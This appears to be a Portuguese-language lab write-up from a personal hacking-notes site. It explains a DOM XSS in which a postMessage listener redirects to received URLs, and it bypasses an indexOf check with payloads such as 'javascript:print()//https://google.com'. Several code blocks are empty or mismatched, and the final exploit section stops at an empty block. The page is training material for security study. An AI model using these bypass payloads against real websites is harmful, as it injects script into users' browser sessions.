> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/dom/dom-xss-via-web-messages-and-javascript-url.md).
# XSS DOM via Web Messages e uma URL JavaScript
### DOM XSS usando mensagens da Web e uma URL JavaScript
Laboratório demonstrando uma vulnerabilidade de DOM causando redirecionamento/execução via `postMessage`. O objetivo: construir uma página HTML no servidor de exploração que envia uma mensagem para executar `print()` na página-alvo.
```javascript
```
A página-alvo escuta mensagens postadas e trata os dados recebidos como uma URL. Se a string recebida contiver `HTTP:` ou `https:`, a página redireciona (`location.href`) para esse valor. O código do lado-alvo é o seguinte:
```javascript
window.postMessage('https://jord4n.pro', '*');
```
aciona com sucesso um redirecionamento para `https://jord4n.pro`.
### Validação contornada
A validação bloqueia apenas strings que não contenham `HTTP:` ou `https:` (verificando por meio de `indexOf`). O `indexOf > -1` é, portanto, contornada adicionando um `//https://...` trecho após um `JavaScript:` esquema, de modo que a condição seja atendida enquanto se mantém uma URL começando com `JavaScript:`. Por exemplo:
```javascript
window.postMessage('javascript:alert(0)', '*');
```
* Para abrir um alerta:
```javascript
window.postMessage('javascript:alert(0)//https://google.com', '*');
```
* Para chamar `print()`:
```javascript
window.postMessage('javascript:print()//https://google.com', '*');
```
O `//https://google.com` parte é usada apenas para satisfazer a `indexOf('https:') > -1` condição.
#### Exploit final
A página de ataque pode incluir um iframe para a página vulnerável e, ao carregar, postar a mensagem maliciosa para o conteúdo incorporado. Exemplo de implementação a ser colocada no servidor de exploração:
{% code overflow="wrap" %}
```javascript